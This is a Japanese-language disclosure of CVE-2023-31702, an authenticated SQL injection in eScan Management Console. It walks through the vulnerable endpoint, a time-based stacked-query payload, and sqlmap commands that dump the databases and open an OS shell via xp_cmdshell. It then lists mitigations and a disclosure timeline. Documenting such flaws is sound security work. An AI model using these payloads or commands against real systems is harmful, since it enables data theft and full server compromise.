
CVE-2023-31702 は、MicroWorld Technologies eScan Management Console バージョン 14.0.1400.2281 で発見された、認証済み SQL インジェクションの脆弱性です。
CVE-2023-31702 は、MicroWorld Technologies eScan Management Console バージョン 14.0.1400.2281 で発見された認証済み SQL インジェクションの脆弱性です。この脆弱性は GetUserCurrentPwd エンドポイントに存在し、UsrId パラメータが適切なサニタイズやパラメータ化なしに SQL クエリに直接渡されます。認証済みの攻撃者は、この欠陥を悪用して時間ベースのプラインド SQL インジェクションを実行し、バックエンドデータベース全体を抽出し、最終的には基盤となる Microsoft SQL Server 上で対話型 OS コマンドシェルを取得することができ、システム全体の完全な侵害につながります。
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2023-31702 |
| 脆弱性の種類 | SQL インジェクション(時間ベースのプラインド / スタックドクエリ) |
| 影響を受ける製品 | MicroWorld Technologies eScan Management Console |
| 影響を受けるバージョン | 14.0.1400.2281 |
| 脆弱なエンドポイント | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| 脆弱なパラメータ | UsrId |
| 認証 | 必須(有効なコンソール資格情報) |
| 検証環境 | Windows |
| CVSS v3.1 スコア | 8.8(高) |
| CVSS ベクター | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 報告日 | 2023年5月16日 |
| 作者 | Sahil Ojha |
| 項目 | 詳細 |
|---|---|
| ベンダー | MicroWorld Technologies |
| 製品 | eScan Management Console |
| ベンダーのホームページ | https://www.escanav.com |
| ソフトウェアリンク | https://cl.escanav.com/ewconsole.dll |
| プラットフォーム | Windows |
eScan Management Console は、組織のネットワーク全体でエンドポイントセキュリティを管理するための Web ベースのインターフェースを提供します。「View User Profile」 機能は、REST に似たエンドポイントを公開します:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
UsrId パラメータは、検証、エスケープ、またはパラメータ化クエリの使用なしにバックエンドの SQL クエリに組み込まれます。これにより、認証済みの攻撃者がクエリに任意の SQL 文を注入できるようになり、以下が発生します:
WAITFOR DELAY を使用して悪用可能性を確認します。xp_cmdshell ストアドプロシージャ(sp_configure で有効化)を利用して、SQL Server サービスアカウントの権限でサーバー上で任意の OS コマンドを実行します。この脆弱性の悪用に成功すると、攻撃者は以下を行うことが可能になります:
⚠️ 注記: 攻撃者はまず eScan Management Console への有効な資格情報を取得する必要があります。ただし、認証後は悪用は簡単で、昇格されたコンソール権限は必要ありません。
eScan Management Console に認証した後、次の URL に移動します:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
これにより現在のユーザープロファイルデータが返され、エンドポイントがアクセス可能であることが確認されます。

以下の時間遅延ペイロードを UsrId パラメータに注入します:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
ペイロードの内訳:
; — 元の SQL 文を終了し、新しい文を開始します(スタックドクエリ)。WAITFOR DELAY '0:0:5' — SQL Server に応答前に 5 秒間の一時停止を指示します。-- — 構文エラーを防ぐために、元のクエリの残りをコメントアウトします。サーバーの応答が約 5 秒遅延した場合、インジェクションが確認されます。

プラインド SQL インジェクションが確認されたら、SQLMap を使用してデータベース全体を抽出できます:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
これにより、バックエンドの SQL Server でホストされているすべてのデータベースが列挙されます。
SQLMap は、xp_cmdshell を有効化して利用することで、攻撃を OS レベルのコマンド実行に昇格させることもできます:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
これにより、SQL Server ホスト上に対話型 OS シェルが確立されます。

OS シェルが確立されると、サーバー上で任意の Windows コマンドを実行できます:

この脆弱性を修正および緩和するために、以下の対策を強く推奨します:
パラメータ化クエリ / プリペアドステートメントを使用する — ユーザー提供の入力を SQL クエリに直接連結しないでください。バインドパラメータを使用して、データをクエリロジックから分離してください。
入力検証とサニタイズ — すべてのユーザー提供パラメータをサーバー側で厳密に検証してください。UsrId のような数値識別子については、整数のみの入力を強制し、特殊文字を含む値はすべて拒否してください。
ベンダーパッチを適用する — eScan Management Console を利用可能な最新バージョンに更新してください。最新のパッチ済みリリースについては、MicroWorld Technologies のサポートに連絡するか、セキュリティアドバイザリ を参照してください。
データベースアカウントの最小権限 — アプリケーションのデータベースアカウントには、必要な最小限の権限のみを付与してください。sysadmin や db_owner ロールを保持すべきではなく、xp_cmdshell は無効にすべきです。
xp_cmdshell を無効化する — 明示的に必要な場合を除き、SQL Server インスタンスで拡張ストアドプロシージャ xp_cmdshell を無効にしてください:
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
Web アプリケーションファイアウォール(WAF) — 多層防御策として、一般的な SQL インジェクションパターンを検出およびブロックする WAF を導入してください。
ネットワークセグメンテーション — eScan Management Console へのアクセスを信頼できる IP 範囲に制限し、SQL Server がインターネットに直接公開されないようにしてください。
| 日付 | イベント |
|---|---|
| 2023年5月16日 | Sahil Ojha によって脆弱性が発見・報告 |
| 2023年5月 | MITRE により CVE-2023-31702 が割り当て |
| 2023年5月 | 一般公開 |
Sahil Ojha — セキュリティ研究者
この開示は教育およびセキュリティ研究の目的のみを意図しています。明示的な書面による許可なしにシステムに対してこの脆弱性を悪用することは違法かつ非倫理的です。